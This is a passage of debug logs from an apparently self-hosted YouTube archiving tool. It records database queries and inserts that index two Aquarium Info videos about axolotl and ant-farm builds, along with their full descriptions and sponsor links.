ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [116185] 11:12:14.809 [debug] Current batch of media processed. Will check again in 1000ms 11:12:15.810 [debug] Current batch of media processed. Will check again in 1000ms 11:12:16.811 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "I Built Minecraft for my Axolotls (Again!) \n\nOnly during Black Friday! Get 53% off the world’s fastest recharging power station here: https://ankerfast.club/q9x4s6 (Amazon) or https://ankerfast.club/3bmxfy (Official Website). #AnkerSOLIX #backuppower\n\n⚡️ Anker SOLIX C1000 Gen 2 | Guinness World Record Holder\n🔋 2,000W Output\n⏱️ Full Charge in 49 min\n💰 53% OFF BFCM Deal Live Now\n\nAfter I built Minecraft IRL for my axolotls Miso and Matcha, I knew I had to make something inspired by the new Minecraft movie for their best friends, Jojo and Java, too. Watch until the end to see Preston Playz react to my insane Minecraft in real life setup! \n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🦀 Nibbles & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon + Miso & Matcha + Jojo & Java\n🐠 Peanut & Jelly\n🦎 Lime & Pepper\n🪦 R.I.P. Kirby & Noodle\n\nWatch as we build another epic Minecraft IRL ecosystem for my new axolotls, Jojo and Java! They finally get their dream home ecosystem. This $5,000 terrarium spans multiple Minecraft biomes, including a giant forest with a flower orchid praying mantis, an arid desert with Minecraft camel mobs, a snowy mountain with real snow, a Minecraft village with friendly Minecraft mobs and a lush cave for real axolotls! We have so many REAL mobs living in our Minecraft ecosystem, like my beetles Davy and Timmy, rare fish and so much more! Can you spot them all?\n\nIn this adventure-filled episode, Outdoor Adam travels to Montana to experience Minecraft in real life while hunting for a real axolotl. We also build a DIY 3D printed Minecraft shipwreck for our Minecraft ecosystem. \n\nWatch until the end to see if my axolotls Jojo and Java enjoy their new DREAM Minecraft ecosystem! This video is perfect for anyone who loves Minecraft, Minecraft IRL, axolotls, exotic pets, rare animals, DIY projects or is just interested in what it takes to keep axolotls as pets! \n\nIf you have any comments, suggestions or questions for this Minecraft IRL video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Chicken Jockey\" so I notice you 🐓🤠\n\nIf you love Minecraft, ecosystems, pets, rescue videos and fish tanks, check out my other videos!\n- I Turned my Bed into a GIANT Ant Farm…\n- Simulating an Ant Colony for 100 Days\n- I Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Bait Shop Crab as a Pet...\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank!\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "duration" => 1063, "filename" => "/downloads/shows/Aquarium Info/Season 2025/s2025e112100 - I Built Minecraft for a Real Axolotl!.mkv", "id" => "3Jht0AF-4TA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=3Jht0AF-4TA", "playlist_index" => 6, "timestamp" => 1763760357, "title" => "I Built Minecraft for a Real Axolotl!", "upload_date" => "20251121"} 11:12:16.812 [debug] QUERY OK source="sources" db=0.3ms idle=920.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [32] 11:12:16.812 [debug] QUERY OK source="sources" db=0.2ms idle=921.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:12:16.813 [debug] QUERY OK source="media_items" db=0.4ms idle=921.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-21 21:25:57Z], 32] 11:12:16.815 [debug] QUERY OK source="media_items" db=1.5ms idle=922.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I Built Minecraft for my Axolotls (Again!) \n\nOnly during Black Friday! Get 53% off the world’s fastest recharging power station here: https://ankerfast.club/q9x4s6 (Amazon) or https://ankerfast.club/3bmxfy (Official Website). #AnkerSOLIX #backuppower\n\n⚡️ Anker SOLIX C1000 Gen 2 | Guinness World Record Holder\n🔋 2,000W Output\n⏱️ Full Charge in 49 min\n💰 53% OFF BFCM Deal Live Now\n\nAfter I built Minecraft IRL for my axolotls Miso and Matcha, I knew I had to make something inspired by the new Minecraft movie for their best friends, Jojo and Java, too. Watch until the end to see Preston Playz react to my insane Minecraft in real life setup! \n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🦀 Nibbles & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon + Miso & Matcha + Jojo & Java\n🐠 Peanut & Jelly\n🦎 Lime & Pepper\n🪦 R.I.P. Kirby & Noodle\n\nWatch as we build another epic Minecraft IRL ecosystem for my new axolotls, Jojo and Java! They finally get their dream home ecosystem. This $5,000 terrarium spans multiple Minecraft biomes, including a giant forest with a flower orchid praying mantis, an arid desert with Minecraft camel mobs, a snowy mountain with real snow, a Minecraft village with friendly Minecraft mobs and a lush cave for real axolotls! We have so many REAL mobs living in our Minecraft ecosystem, like my beetles Davy and Timmy, rare fish and so much more! Can you spot them all?\n\nIn this adventure-filled episode, Outdoor Adam travels to Montana to experience Minecraft in real life while hunting for a real axolotl. We also build a DIY 3D printed Minecraft shipwreck for our Minecraft ecosystem. \n\nWatch until the end to see if my axolotls Jojo and Java enjoy their new DREAM Minecraft ecosystem! This video is perfect for anyone who loves Minecraft, Minecraft IRL, axolotls, exotic pets, rare animals, DIY projects or is just interested in what it takes to keep axolotls as pets! \n\nIf you have any comments, suggestions or questions for this Minecraft IRL video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Chicken Jockey\" so I notice you 🐓🤠\n\nIf you love Minecraft, ecosystems, pets, rescue videos and fish tanks, check out my other videos!\n- I Turned my Bed into a GIANT Ant Farm…\n- Simulating an Ant Colony for 100 Days\n- I Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Bait Shop Crab as a Pet...\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank!\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "I Built Minecraft for a Real Axolotl!", "1904a8e2-b308-480f-b858-46351bb92183", "3Jht0AF-4TA", false, "https://www.youtube.com/watch?v=3Jht0AF-4TA", 32, [], 1063, false, 6, "/downloads/shows/Aquarium Info/Season 2025/s2025e112100 - I Built Minecraft for a Real Axolotl!.mkv", false, false, 98, ~U[2025-11-21 21:25:57Z], ~U[2026-06-02 15:12:16Z], ~U[2026-06-02 15:12:16Z], "I Built Minecraft for my Axolotls (Again!) \n\nOnly during Black Friday! Get 53% off the world’s fastest recharging power station here: https://ankerfast.club/q9x4s6 (Amazon) or https://ankerfast.club/3bmxfy (Official Website). #AnkerSOLIX #backuppower\n\n⚡️ Anker SOLIX C1000 Gen 2 | Guinness World Record Holder\n🔋 2,000W Output\n⏱️ Full Charge in 49 min\n💰 53% OFF BFCM Deal Live Now\n\nAfter I built Minecraft IRL for my axolotls Miso and Matcha, I knew I had to make something inspired by the new Minecraft movie for their best friends, Jojo and Java, too. Watch until the end to see Preston Playz react to my insane Minecraft in real life setup! \n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🦀 Nibbles & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon + Miso & Matcha + Jojo & Java\n🐠 Peanut & Jelly\n🦎 Lime & Pepper\n🪦 R.I.P. Kirby & Noodle\n\nWatch as we build another epic Minecraft IRL ecosystem for my new axolotls, Jojo and Java! They finally get their dream home ecosystem. This $5,000 terrarium spans multiple Minecraft biomes, including a giant forest with a flower orchid praying mantis, an arid desert with Minecraft camel mobs, a snowy mountain with real snow, a Minecraft village with friendly Minecraft mobs and a lush cave for real axolotls! We have so many REAL mobs living in our Minecraft ecosystem, like my beetles Davy and Timmy, rare fish and so much more! Can you spot them all?\n\nIn this adventure-filled episode, Outdoor Adam travels to Montana to experience Minecraft in real life while hunting for a real axolotl. We also build a DIY 3D printed Minecraft shipwreck for our Minecraft ecosystem. \n\nWatch until the end to see if my axolotls Jojo and Java enjoy their new DREAM Minecraft ecosystem! This video is perfect for anyone who loves Minecraft, Minecraft IRL, axolotls, exotic pets, rare animals, DIY projects or is just interested in what it takes to keep axolotls as pets! \n\nIf you have any comments, suggestions or questions for this Minecraft IRL video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Chicken Jockey\" so I notice you 🐓🤠\n\nIf you love Minecraft, ecosystems, pets, rescue videos and fish tanks, check out my other videos!\n- I Turned my Bed into a GIANT Ant Farm…\n- Simulating an Ant Colony for 100 Days\n- I Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Bait Shop Crab as a Pet...\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank!\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "I Built Minecraft for a Real Axolotl!", "3Jht0AF-4TA", "https://www.youtube.com/watch?v=3Jht0AF-4TA", 32, 1063, false, "/downloads/shows/Aquarium Info/Season 2025/s2025e112100 - I Built Minecraft for a Real Axolotl!.mkv", false, ~U[2025-11-21 21:25:57Z]] 11:12:16.816 [debug] QUERY OK source="sources" db=0.1ms idle=50.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:12:16.816 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:12:16.816 [debug] QUERY OK source="media_items" db=0.2ms idle=3.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [116186] 11:12:16.817 [debug] Current batch of media processed. Will check again in 1000ms 11:12:17.817 [debug] Current batch of media processed. Will check again in 1000ms 11:12:18.819 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "I turned my bed into a HUGE ant farm!\n\nJoin Revolut and get $20 here https://get.revolut.com/z4lF/AquariumInfo! Offer expires 6 months from 09/30/2025. Exclusions apply. $20 bonus paid by Revolut subject to the terms and conditions found here: https://www.revolut.com/en-US/legal/partner-sign-up-bonus/ \n\nIn this video, we simulate an ant colony over 100 days and turn my bed into an ant farm! We start with a single queen ant and grow her colony to over 1,000 ants. Throughout this episode, the ant colony faces many challenges, from spawning new life, suffering a great loss and even fighting off a rare predator.\n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the epic ant farm\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🦀 Nibbles & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper\n🪦 R.I.P. Kirby & Noodle\n\nWhile Jamie and Joelle turn a bed into an ant farm, Outdoor Adam takes to the wilderness to track down an ant colony in real life. Adam’s mission is to learn about ants in the wild so the team can create the perfect ant ecosystem in Jamie’s bedroom.\n\nWatch until the end to see if Jamie sleeps in her new dream bedroom that's filled with ants! This video is perfect for anyone who is passionate about bedroom makeovers, dream bedrooms, dream beds, exotic pets, ant colonies, simulating ant colonies, wildlife rescue, DIY projects and creating the perfect ecosystem for their pets.\n\nIf you have any comments, suggestions or questions for this ant simulation video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Scout is a Hero\" so I notice you 🦸\u200D♀️\n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- Raising a Bait Shop Crab as a Pet…\n- I Built a Giant LEGO Railway for my Pets!\n- I Built Minecraft for a Real Axolotl!\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "duration" => 836, "filename" => "/downloads/shows/Aquarium Info/Season 2025/s2025e100100 - I Turned my Bed into a GIANT Ant Farm....mkv", "id" => "zndpck7p5wo", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=zndpck7p5wo", "playlist_index" => 7, "timestamp" => 1759341720, "title" => "I Turned my Bed into a GIANT Ant Farm...", "upload_date" => "20251001"} 11:12:18.820 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=928.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [32] 11:12:18.822 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=929.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:12:18.823 [debug] QUERY OK source="media_items" db=1.1ms queue=0.1ms idle=931.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-01 18:02:00Z], 32] 11:12:18.825 [debug] QUERY OK source="media_items" db=1.3ms idle=932.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I turned my bed into a HUGE ant farm!\n\nJoin Revolut and get $20 here https://get.revolut.com/z4lF/AquariumInfo! Offer expires 6 months from 09/30/2025. Exclusions apply. $20 bonus paid by Revolut subject to the terms and conditions found here: https://www.revolut.com/en-US/legal/partner-sign-up-bonus/ \n\nIn this video, we simulate an ant colony over 100 days and turn my bed into an ant farm! We start with a single queen ant and grow her colony to over 1,000 ants. Throughout this episode, the ant colony faces many challenges, from spawning new life, suffering a great loss and even fighting off a rare predator.\n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the epic ant farm\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🦀 Nibbles & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper\n🪦 R.I.P. Kirby & Noodle\n\nWhile Jamie and Joelle turn a bed into an ant farm, Outdoor Adam takes to the wilderness to track down an ant colony in real life. Adam’s mission is to learn about ants in the wild so the team can create the perfect ant ecosystem in Jamie’s bedroom.\n\nWatch until the end to see if Jamie sleeps in her new dream bedroom that's filled with ants! This video is perfect for anyone who is passionate about bedroom makeovers, dream bedrooms, dream beds, exotic pets, ant colonies, simulating ant colonies, wildlife rescue, DIY projects and creating the perfect ecosystem for their pets.\n\nIf you have any comments, suggestions or questions for this ant simulation video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Scout is a Hero\" so I notice you 🦸\u200D♀️\n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- Raising a Bait Shop Crab as a Pet…\n- I Built a Giant LEGO Railway for my Pets!\n- I Built Minecraft for a Real Axolotl!\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "I Turned my Bed into a GIANT Ant Farm...", "9f113da6-2d4b-4ad0-ad0b-5fcf736b46a6", "zndpck7p5wo", false, "https://www.youtube.com/watch?v=zndpck7p5wo", 32, [], 836, false, 7, "/downloads/shows/Aquarium Info/Season 2025/s2025e100100 - I Turned my Bed into a GIANT Ant Farm....mkv", false, false, 98, ~U[2025-10-01 18:02:00Z], ~U[2026-06-02 15:12:18Z], ~U[2026-06-02 15:12:18Z], "I turned my bed into a HUGE ant farm!\n\nJoin Revolut and get $20 here https://get.revolut.com/z4lF/AquariumInfo! Offer expires 6 months from 09/30/2025. Exclusions apply. $20 bonus paid by Revolut subject to the terms and conditions found here: https://www.revolut.com/en-US/legal/partner-sign-up-bonus/ \n\nIn this video, we simulate an ant colony over 100 days and turn my bed into an ant farm! We start with a single queen ant and grow her colony to over 1,000 ants. Throughout this episode, the ant colony faces many challenges, from spawning new life, suffering a great loss and even fighting off a rare predator.\n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the epic ant farm\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🦀 Nibbles & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper\n🪦 R.I.P. Kirby & Noodle\n\nWhile Jamie and Joelle turn a bed into an ant farm, Outdoor Adam takes to the wilderness to track down an ant colony in real life. Adam’s mission is to learn about ants in the wild so the team can create the perfect ant ecosystem in Jamie’s bedroom.\n\nWatch until the end to see if Jamie sleeps in her new dream bedroom that's filled with ants! This video is perfect for anyone who is passionate about bedroom makeovers, dream bedrooms, dream beds, exotic pets, ant colonies, simulating ant colonies, wildlife rescue, DIY projects and creating the perfect ecosystem for their pets.\n\nIf you have any comments, suggestions or questions for this ant simulation video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Scout is a Hero\" so I notice you 🦸\u200D♀️\n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- Raising a Bait Shop Crab as a Pet…\n- I Built a Giant LEGO Railway for my Pets!\n- I Built Minecraft for a Real Axolotl!\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "I Turned my Bed into a GIANT Ant Farm...", "zndpck7p5wo", "https://www.youtube.com/watch?v=zndpck7p5wo", 32, 836, false, "/downloads/shows/Aquarium Info/Season 2025/s2025e100100 - I Turned my Bed into a GIANT Ant Farm....mkv", false, ~U[2025-10-01 18:02:00Z]] 11:12:18.826 [debug] QUERY OK source="sources" db=0.2ms idle=58.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:12:18.826 [debug] QUERY OK source="media_profiles" db=0.1ms idle=5.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:12:18.826 [debug] QUERY OK source="media_items" db=0.2ms idle=4.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR 